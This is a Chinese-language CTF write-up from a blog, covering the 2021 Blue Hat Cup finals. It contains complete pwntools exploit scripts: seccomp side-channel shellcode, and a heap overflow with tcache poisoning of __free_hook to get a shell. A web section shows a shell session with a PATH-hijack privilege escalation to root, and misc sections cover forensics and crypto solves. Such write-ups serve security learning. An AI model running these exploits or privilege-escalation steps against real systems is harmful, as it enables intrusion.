

2021蓝帽杯总决赛wp

原创

Draper.? 于 2021-08-30 13:03:36 发布 249 收藏

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本文链接: https://blog.csdn.net/onl_llo/article/details/119994580


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
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订阅专栏

2021蓝帽杯总决赛wp

pwn

secretcode

```
chenhaohao@ubuntu:~$ checksec ./pwn
[*] '/home/chenhaohao/pwn'
Arch:          amd64-64-little
RELRO:         Full RELRO
Stack:         Canary found
NX:            NX enabled
PIE:           PIE enabled
CSDN @Draper.?
```

程序分析

只允许open和read

read的fd >= 0x14

```

[*] Switching to interactive mode
line CODE JT JF K
=====
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x0b 0xc000003e if (A != ARCH_X86_64) goto 0013
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005
0004: 0x15 0x00 0x08 0xffffffff if (A != 0xffffffff) goto 0013
0005: 0x15 0x06 0x00 0x00000002 if (A == open) goto 0012
0006: 0x15 0x00 0x06 0x00000000 if (A != read) goto 0013
0007: 0x20 0x00 0x00 0x00000014 A = fd >> 32 # read(fd, buf, count)
0008: 0x25 0x03 0x00 0x00000000 if (A > 0x0) goto 0012
0009: 0x15 0x00 0x03 0x00000000 if (A != 0x0) goto 0013
0010: 0x20 0x00 0x00 0x00000010 A = fd # read(fd, buf, count)
0011: 0x35 0x00 0x01 0x00000014 if (A < 0x14) goto 0013
0012: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0013: 0x06 0x00 0x00 0x00000000 return KILL

```

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shellcode的限制: 不能有00, 会被strcpy截断

```

39 v21 = puts("==== Input your secret code =====");
40 v3 = getpagesize();
41 prot = 7;
42 HIBYTE(offset) = 0;
43 LODWORD(offset) = 0;
44 mem = (char *) (signed int) mmap((void *) 0x2000, v3, 7, 34, 0, 0LL); // 匿名映射一片rwx的内存
45 src = (char *) &buf;
46 v17 = 1;
47 v16 = read(0, &buf, 0x40uLL); // 输入数据到buf中
48 v15 = prctl(38, 1LL, 0LL, 0LL); // PR_SET_NO_NEW_PRIVS
49 v14 = prctl(4, 0LL);
50 v23 = seccomp_init(0LL);
51 v13 = 0x7FFF0000;
52 *((_QWORD *) &v25 = 21474836480LL;
53 *((_QWORD *) &v25 + 1) = 20LL;
54 v26 = 0LL;
55 v7 = 0LL;
56 v6 = v25;
57 v12 = seccomp_rule_add(v23, 0x7FFF0000LL, 2LL, 0LL); // 限制系统调用
58 v11 = seccomp_rule_add(v23, 0x7FFF0000LL, 0LL, 1LL);
59 v10 = seccomp_load(v23);
60 v4 = strcpy(mem, src); // 00截断
61 v22 = mem;
62 v9 = mem;
63 v8 = v4; // 执行shellcode
64 ((void (__fastcall *) (signed __int64, signed __int64, signed __int64)) mem)(0xDEADBEEFLL, 0xDEADBEEFLL, 0xDEADBEEFLL);
65 result = __readsqword(0x28u);
66 if (result == v31)
67 result = 0LL;
68 return result;
69 }

```

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调□shellcode时, rax r10执□shellcode

```

$rax : 0x0000000000010000 → "AAAAAAAAAAAAAAAA"
$rbx : 0x00007fffffff4d0 → 0x0000000500000000
$rcx : 0xdeadbeef
$rdx : 0xdeadbeef
$rsp : 0x00007fffffff4d0 → 0x0000000500000000
$rbp : 0x00007fffffff5c0 → 0x000055555554db0 → push r15
$rsi : 0xdeadbeef
$rdi : 0xdeadbeef
$rip : 0x000055555554d7f → call r10
$r8 : 0xffffffff
$r9 : 0x50
$r10 : 0x0000000000010000 → "AAAAAAAAAAAAAAAA"
$r11 : 0x00007ffff7971340 → 0xffff07350fff07340
$r12 : 0x0000555555549b0 → xor ebp, ebp
$r13 : 0x00007fffffff6a0 → 0x0000000000000001
$r14 : 0x0
$r15 : 0x0
eflags: [zero carry parity adjust sign trap INTERRUPT direction overflow resume v
cation]
scs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000

0x00007fffffff4d0 | +0x0000: 0x0000000500000000 - $rbx, $rsp
0x00007fffffff4d8 | +0x0008: 0x0000000000000014
0x00007fffffff4e0 | +0x0010: 0x0000000000000000
0x00007fffffff4e8 | +0x0018: 0x0000000000000340
0x00007fffffff4f0 | +0x0020: 0x0000000000010000 → "AAAAAAAAAAAAAAAA"
0x00007fffffff4f8 | +0x0028: 0x0000000000010000 → "AAAAAAAAAAAAAAAA"
0x00007fffffff500 | +0x0030: 0x0000000000000000
0x00007fffffff508 | +0x0038: 0x7fff000000000000

0x55555554d6f | mov     edx, ecx
0x55555554d71 | mov     r10, QWORD PTR [rbp-0xc8]
0x55555554d78 | mov     QWORD PTR [rbp-0xd0], CSDN @Draper.?
→ 0x55555554d7f | call   r10

```

思路: 侧信道泄露flag

先多次open让flag对应的fd为0x14

然后read读□□件内容到rsp处

爆破[rsp+idx]处的字符, 如果为C, 则死循环, 否则就触发□个SIGV

细节:

构造"flag": mov eax, "flag"可以避免00的出现

□些□常数可以通过xor reg, reg; inc reg构造出来

```

#!/usr/bin/python
# coding=utf-8
import sys
from pwn import *

#context.log_level = 'debug'
context(arch='amd64', os='linux')

def Log(name):
    log.success(name+' = '+hex(eval(name)))

elf_path = "./pwn"
elf = ELF(elf_path)
#libc = ELF('./libc.so.6')

def Num(n, l=8):
    sh.sendline(str(n))

```

```

def Send(c):
    sh.recvuntil('put your secret code =====\n')
    sh.send(c)

def GDB():
    gdb.attach(sh, '''
break *(0x0000555555554000+0xD7F)
''')

def BruteChar(sh, idx, C):
    exp = '''
xor rax, rax
mov eax, 0x67616c66
push rax

open:
    xor rax, rax
    inc rax
    inc rax
    mov rdi, rsp
    xor rsi, rsi
    syscall
    cmp al, 0x14
    jnz open

read_flag:
    mov rdi, rax
    xor rax, rax
    mov rsi, rsp
    xor rdx, rdx
    mov dl, 0xff
    syscall

brute:
    mov al, [rsp+%d]
    cmp al, %d
    jnz die
    jmp brute

die:
    mov al, [0]
    '''%(idx, C)
    try:
        sh.sendlineafter("put your secret code =====\n", asm(exp))
        sh.recv(timeout=1)
        return True
    except:
        sh.close()
        return False

flag = ''
while len(flag)<0x30:
    for C in range(0x20, 0x7F):
        if(len(sys.argv)==1): #Local
            cmd = ["/pwn"]
            sh = process(cmd)
        else: #remtoe
            sh = remote("47.104.169.149", 25178)

```

```

if(BruteChar(sh, len(flag), C)):
    flag+=chr(C)
    print(flag)
    break

```

babynote

```

parallels@parallels-Parallels-Virtual-Platform:~$ checksec ./pwn
[*] '/home/parallels/pwn'
Arch:      amd64-64-little
RELRO:     Full RELRO
Stack:     Canary found
NX:        NX enabled
PIE:       PIE enabled

```

程序分析

Add: 读 `cont` 之后会在末尾设置 00

Edit:

```

1 unsigned __int64 Edit()
2 {
3     int64 idx; // rbx
4     int v1; // er13
5     unsigned __int64 result; // rax
6     unsigned __int64 v3; // r11
7     unsigned __int64 v4; // [rsp+8h] [rbp-30h]
8
9     v4 = __readfsqword(0x28u);
10    __printf_chk(1LL, "idx> ");
11    idx = abs((unsigned __int8)ReadLong()) & 0xF;
12    if ( !PtrArr[idx] || !SizeArr[idx] )
13        Error();
14    __printf_chk(1LL, "offset> ");
15    v1 = abs((unsigned int)ReadLong()) % SizeArr[idx]; // abs整数溢出, 输入-(2^31), 返回-(2^31)
16    __printf_chk(1LL, "msg> ");
17    v3 = __readfsqword(0x28u);
18    result = v3 ^ v4;
19    if ( v3 == v4 )
20        result = ReadNLine((char *)PtrArr[idx] + v1, SizeArr[idx] - v1); // 读入后没有设置00 会造成越界读
21    return result;
22}

```

测试发现, `abs(X)%SizeArr[idx]` 存在问题, 当 `offset = -2^31` 时

`SizeArr[idx] = 0x30` 时, `v1 = -0x20`,

`Size` 为 `0x130` 时, `v1 = -0x120`

造成堆溢出 (我运气真好) 因此后 `ReadNLine()` 时就会溢出前 `chunk` 的

思路

1. 先申请 8 个 `chunk`, 然后填满 `tcache`, 从 `chunk` 得到 `chunk` 个 UB `chunk`
2. 然后切割 UB `chunk`, 从 `chunk` 遗留下 `libc` 地址, 利用 `Edit` 修改不设置 00 来泄露 `libc` 地址
3. 然后利用 `abs(offset)` 的溢出, 修改 `chunksz`, 把 `chunk` 改 `chunk`, 然后释放进 `Tcache` 中再申请出来, 就可以溢出后 `chunk` 的 `fd` 了

```

#!/usr/bin/python
# coding=utf-8
import sys
from pwn import *

context.log_level = 'debug'

```

```

context(arch='amd64', os='linux')

if(len(sys.argv)==1): #local
    cmd = ["/pwn"]
    sh = process(cmd)
else: #remtoe
    sh = remote("47.104.169.149", 14269)

def Log(name):
    log.success(name+' = '+hex(eval(name)))

elf_path = "/pwn"
elf = ELF(elf_path)
libc = ELF('/libc.so.6')

def Num(n, l=8):
    sh.sendline(str(n))

def Cmd(n):
    sh.recvuntil('> ')
    Num(n)

def Add(size, msg=''):
    if msg=="":
        msg = 'A'*size
    Cmd(1)
    Cmd(size)
    sh.recvuntil('> ')
    sh.send(msg)

def Edit(idx, size, msg):
    Cmd(2)
    Cmd(idx)
    Cmd(size)
    sh.recvuntil('> ')
    sh.send(msg)

def Delete(idx):
    Cmd(3)
    Cmd(idx)

def Show(idx):
    Cmd(4)
    Cmd(idx)

def GDB():
    gdb.attach(sh, '''
break *(0x0000555555554000+0xE8E)
telescope (0x0000555555554000+0x202080) 16
''')

#chunk arrange
for i in range(0, 8):
    Add(0x130)
for i in range(0, 3):
    Delete(i)
for i in range(7, 3, -1):
    Delete(i)
Delete(3) #UB<=> C3, Tcache is full

```



```

#split UB chunk
Add(0x8)

#Leak libc address
Edit(8, 0, 'A'*8)
Show(8)
sh.recvuntil('A'*8)
libc.address = u64(sh.recv(6)+'\x00\x00')-0x3ebdd0
Log('libc.address')

#heap overflow to forge size
Add(0x130)
exp = cyclic(0x110)
exp+= flat(0, 0x2E0) #prev_size, size
Edit(9, -(2**31), exp.ljust(0x250, '\x00')) #C9' size = 0x2E0

#Tcache attack
Delete(9)
exp = 'A'*0x130
exp+= flat(0, 0x140, libc.symbols['__free_hook'])
exp+= '\n'
Add(0x2D0, exp)

#getshell
Add(0x130, '/bin/sh\x00'+'\n')
Add(0x130, flat(libc.symbols['system'])+'\n')
Delete(11)

#GDB()
sh.interactive()

```


发现报错

web


Imagecheck

因为是0day暂时就不发出来了，发后面部分思路


0day redis写shell pop链
随后gzip压缩下 上传 phar打一下



请求/readflag发现需要提权



下载到本地



那就PATH提权就好了


```
www-data@engine-1:/$ echo "/bin/sh" > /tmp/id
echo "/bin/sh" > /tmp/id
www-data@engine-1:/$ export PATH=/tmp:${PATH}
export PATH=/tmp:${PATH}
www-data@engine-1:/$ echo $PATH
echo $PATH
/tmp:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/
www-data@engine-1:/$ /readflag
/readflag
try to get flag
total 8
-rwxr-xr-x 1 root root 42 Aug 24 02:01 flag
-rwxr-xr-x 1 root root 775 Aug 23 18:36 flag.sh
www-data@engine-1:/$ echo "/bin/sh" > /tmp/ls
echo "/bin/sh" > /tmp/ls
www-data@engine-1:/$ /readflag
/readflag
try to get flag
total 8
-rwxr-xr-x 1 root root 42 Aug 24 02:01 flag
-rwxr-xr-x 1 root root 775 Aug 23 18:36 flag.sh
www-data@engine-1:/$ chmod 777 /tmp/ls
chmod 777 /tmp/ls
www-data@engine-1:/$ cd /tmp
cd /tmp
www-data@engine-1:/tmp$ ls
ls
```

CSDN @Draper.?

```
d
/bin/sh: 4: d: not found

id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
cd /
ls
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/readflag
try to get flag

ls
id
uid=0(root) gid=0(root) groups=0(root),33(www-data)

cat /root/flag
flag{39273b58-bd9e-4129-b45c-05f566bdc9f9}
```

CSDN @Draper.?

misc


溯源取证

拿到附件是个压缩包，但是打开格式错误，放到工具里面，是个 vmdk，虚拟机文件，直接挂载

里面有个 001 镜像



挂载到 R-STUDIO 工具里面得到 flag



CSDN @Draper.?

ssh_traffic

在查资料过程中找到 <https://ctftime.org/writeup/29392>

然后根据条件去安装工具

工具安装过程十分复杂，最后还是安装上了:请参考我的[博客](#),或者我的上一篇文章，有安装教程。

```
(sh2) root@06ce685acd40:/opt/sh2/OpenSSH-Network-Parser/flag# network-parser
usage: network-parser [-h] -p PCAP -o OUTPUT [--dport DPORT] [--sport SPORT]
      [--src SRC] [--dst DST] [-s] [-u USER] [--stats STATS]
      [-f FILE_LIMIT] [--startdate STARTDATE] --proto PROTO
      [-v] [--popt KEY=VALUE]
network-parser: error: argument -p/--pcap is required
(sh2) root@06ce685acd40:/opt/sh2/OpenSSH-Network-Parser/flag# |
```


根据条件修改

```
(sh2) root@06ce685acd40:/opt/sh2/OpenSSH-Network-Parser/flag# cat example.sh
mkdir /tmp/ssh

#parse pcap output only in/output data
network-parser -p dump_ssh.pcap --popt keyfile=keys.json --proto ssh -o /tmp/ssh/

#parse pcap, output verbose information
network-parser -p dump_ssh.pcap --popt keyfile=keys.json --proto ssh -o /tmp/ssh/ -vvvv
(sh2) root@06ce685acd40:/opt/sh2/OpenSSH-Network-Parser/flag# |
```

在第二个 tcp 流找到 key.json



修改 key

```
#parse pcap, output verbose information
network-parser -p dump_ssh.pcap --popt keyfile=keys.json --proto ssh -o /tmp/
(sh2) root@06ce685acd40:/opt/sh2/OpenSSH-Network-Parser/flag# ls -la
total 256
drwxr-xr-x  2 root root   4096 Aug 24 10:04 .
drwxr-xr-x 10 root root   4096 Aug 24  9:31 ..
-rw-r--r--  1 root root 119380 Aug 24  9:52 dump_ssh.pcap
-rwxrwxrwx  1 root root    266 Aug 24  9:52 example.sh
-rw-r--r--  1 root root    528 Aug 24 10:04 keys.json
-rw-r--r--  1 root root 119380 Aug 24  9:31 traffic.pcapng
(sh2) root@06ce685acd40:/opt/sh2/OpenSSH-Network-Parser/flag# |
```

最后去查找解密后的文本得flag


```
flag{a38aaa2a-3f77-402e-a23a-ad9d2c563fa1}
(sh2) root@06ce685acd40:/opt/sh2/OpenSSH-Network-Parser/flag# cat /tmp/ssh/* | grep flag{
cat: /tmp/ssh/files: Is a directory
flag{a38aaa2a-3f77-402e-a23a-ad9d2c563fa1}
(sh2) root@06ce685acd40:/opt/sh2/OpenSSH-Network-Parser/flag# |
```

离散对数求解，key只有40位可以跑

参考链接：<https://blog.csdn.net/ckm1607011/article/details/106849551/>

```
p = 199577891335523667447918233627928226021
E = EllipticCurve(GF(p), [1, 0, 0, 6745936378050226004298256621352165803,
27906538695990793423441372910027591553])
print(E)
G = E.gen(0)
public = E(xxxxxxxxxx,xxxxxxxxxx)
point_1 = E(xxxxxxxxxx,xxxxxxxxxx)
cipher = E(xxxxxxxxxx,xxxxxxxxxx)
# 大步小步求key
# key=bsgs(G,point_1,(0,2^40),operation='+')
# print(key)
#key=436370150383
point_2=key*public
M=cipher-point_2
print(int(M[0])+int(M[1]))
```

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